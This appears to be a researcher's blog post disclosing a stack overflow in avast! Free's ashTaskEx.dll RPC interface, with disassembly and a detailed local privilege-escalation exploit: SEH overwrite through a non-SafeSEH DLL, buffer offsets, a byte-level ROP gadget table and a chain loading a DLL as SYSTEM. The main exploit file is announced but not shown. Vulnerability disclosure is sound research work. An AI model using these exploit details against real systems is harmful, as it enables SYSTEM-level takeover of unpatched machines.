Summary
Bug type: stack overflowVector: LPC (or RPC if the ncacn_ip_tcp Chest endpoint is enabled)
Impact: EoP (or unauthenticated RCE)
Verified on: avast! Free ashTaskEx.dll v9.0.2018.391
Description
The ashTaskEx.dll implements an RPC interface that is bound to a local ncalrpc endpoint, this interface being 908d4c23-138f-4ac5-af4a-08584ae7c67b v1.0. Most of the functions offered by this interface do not enforce any specific checks and are accessible by unprivileged local users. Those functions are processed within the AvastSvc.exe binary, which runs as SYSTEM.The function with opcode 8 of this interface has the following IDL prototype (note that the function name is mine, not a symbol):
long kk_RpcStartRescueDiscToolkit (
[in] handle_t arg_1,
[in][ref][string] wchar_t * arg_2,
[in] long arg_3,
[in][ref][string] wchar_t * arg_4,
[in] long arg_5
);
After unmarshalling the RPC request, it ends up calling tskexStartRescueDiscToolkitImpl:
.text:64804575 mov [ebp+ms_exc.registration.TryLevel], 0
.text:6480457C push 0 ; int
.text:6480457E push eax ; RPC_arg_5
.text:6480457F push [ebp+RPC_arg_4] ; int
.text:64804582 push ebx ; RPC_arg_3
.text:64804583 push [ebp+RPC_arg_2] ; wchar_t *
.text:64804586 call tskexStartRescueDiscToolkitImpl
It will compare the first string with a hardcoded GUID:
.text:6480890E mov ebx, [ebp+arg_0]
.text:64808911 push esi
.text:64808912 push edi
.text:64808913 push offset aBf0f4731Dd254a ; "{BF0F4731-DD25-4A94-8E32-F94103856229}"
.text:64808918 push ebx ; wchar_t *
.text:64808919 mov [esp+440h+var_42C], eax
.text:6480891D call ds:_wcsicmp
Edit: opcode 7 has the exact same vulnerability, with a different GUID check, and the exploit below is for that function.
If the comparison succeeds, it will process to copying the second string into a stack buffer:
.text:6480894E mov eax, [ebp+arg_8]
.text:64808951 lea edx, [esp+438h+var_214]
.text:64808958 sub edx, eax
.text:6480895A lea ebx, [ebx+0]
.text:64808960
.text:64808960 loc_64808960: ; CODE XREF: tskexStartRescueDiscToolkitImpl+7D j
.text:64808960 movzx ecx, word ptr [eax]
.text:64808963 mov [edx+eax], cx
.text:64808967 lea eax, [eax+2]
.text:6480896A test cx, cx
.text:6480896D jnz short loc_64808960
As you can see here, the destination buffer var_214 is located on the stack, and can hold at most 0x210 bytes before reaching the stack cookie. The copy operation looks like a an inlined wcscpy. There is no check on the length of the string prior to copy.
This results in a stack overflow condition, that can be exploited to achieve code execution and EoP to SYSTEM. Note that the /GS cookie check has to be bypassed to achieve this, which requires exploiting the exception handler or disclosing memory.
A heap overflow will also happen in the subfunction called by tskexStartRescueDiscToolkitImpl if the string we sent is too large, but not large enough to reach the end of the stack. It only allocates 0x4e8 bytes for the structure the string is copied in:
.text:64809D68 push 4E8h ; unsigned int
.text:64809D6D call ??2@YAPAXIABUnothrow_t@std@@@Z ; operator new(uint,std::nothrow_t const &)
Remote exploitation
While this bug is a default local EoP on avast! Free, if the Chest remote RPC endpoint (ncacn_ip_tcp) is enabled (either in avast! Endpoint Protection or by playing with the .ini files), then this bug becomes an RCE. See the following MSDN entry about this:"Be Wary of Other RPC Endpoints Running in the Same Process"
http://msdn.microsoft.com/en-us/library/windows/desktop/aa373564(v=vs.85).aspx
Exploit
Here are some explanations:
- we exploit a stack overflow in an LPC interface offered by ashTaskEx.dll;
- this function is protected by a /GS cookie, so the usual route is to go through overwriting the exception handler, which on newer platforms requires to use a handler in a binary not protected by SafeSEH (this assumes that we overflow enough to get a memory access violation prior to the cookie being checked);
- algo.dll is not SafeSEH protected. algo.dll is shipped with definitions, so I attempted my best to do something decently generic that will locate the latest version of algo.dll by looking up some registry keys and entries in the .INI files;
- we want the overwritten exception handler to point to a gadget into algo.dll that somewhat restores the stack pointer to somewhere under our control. Luckily the DLL contains quite a lot of add esp,const & retn that will do that (with const in a ~800h-~1000h range);
- we load algo.dll in our process, and look for that gadget. It is to be noted that given how Windows works, the base address of algo.dll in our process will be the same than in AvastSvc.exe unless we are quite unlucky;
- at this point, we just have to build a ROP chain that will do something interesting;
- since we are local, I decided to do something that would LoadLibrary a DLL under my control. To do so, I make one of the registers point to one of the strings sent into the RPC request (the one that didn't overlow) with some basic additions, copy it in some safe place (the .data section of algo.dll), restore a register to LoadLibraryW and trigger a push & call combination that will load the library as SYSTEM;
- the library just creates a cmd.exe as SYSTEM on WinSta0 (you need to click a dialog to see it but at this point you see that it's won);
Some constants that you might need to adjust based on your platform:
FillMemory( pbBuffer, 0x1000, 'A' );
Our overflowing buffer will be 0x1000 bytes. In most cases it's enough to go past the end of the stack and trigger an AV, but sometimes there is another page (or several) after the stack and that size might have to be increased.
*( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff; //SEH
*( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn
Here we require that the SEH structure be at 0x354 bytes from the beginning of our overflowing buffer. This is likely specific to Windows 7 SP1 x86 up to date.
*( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn
*( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn
*( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx
Here, we require that esp+0x818 at the time of the exception handling lands at 0x20c from the beginning of our buffer. The other requirement is that our second string is at 0x3dc (-0xfffffc24) bytes from ebp at the time of the exception handling. Those are pretty much the only things that can differ from one platform to another given the same ashTaskEx.dll version.
The gadgets are pretty self explanatory:
{ { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn
{ { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn
{ { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn
{ { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn
{ { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn
{ { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn
{ { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn
{ { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence
{ { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn
{ { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...
We restore eax from ebp, restore ecx from the stack, subtract ecx from eax, withsome trash ending up in ebx. Then we set eax, esi and ebp so that we can call a memcpy gadget that copies our string into the .data section of the algo.dllbinary. We then call LoadLibraryW on our DLL, and ExitProcess gracefully.
Here the main exploit file, it's the only interesting one anyway:
1 comment:
Hi Kostya!
First of all, thanks for sharing this information.
I'm trying to compile (and test) your code, but 'dollhouse.h' file is missing.
I'm learning about exploiting LPC (and RPC) and I think this is a very good example.
Can you supply the missing file (or, at least, make a little explanation about it's contents)?
Thanks in advance!
Post a Comment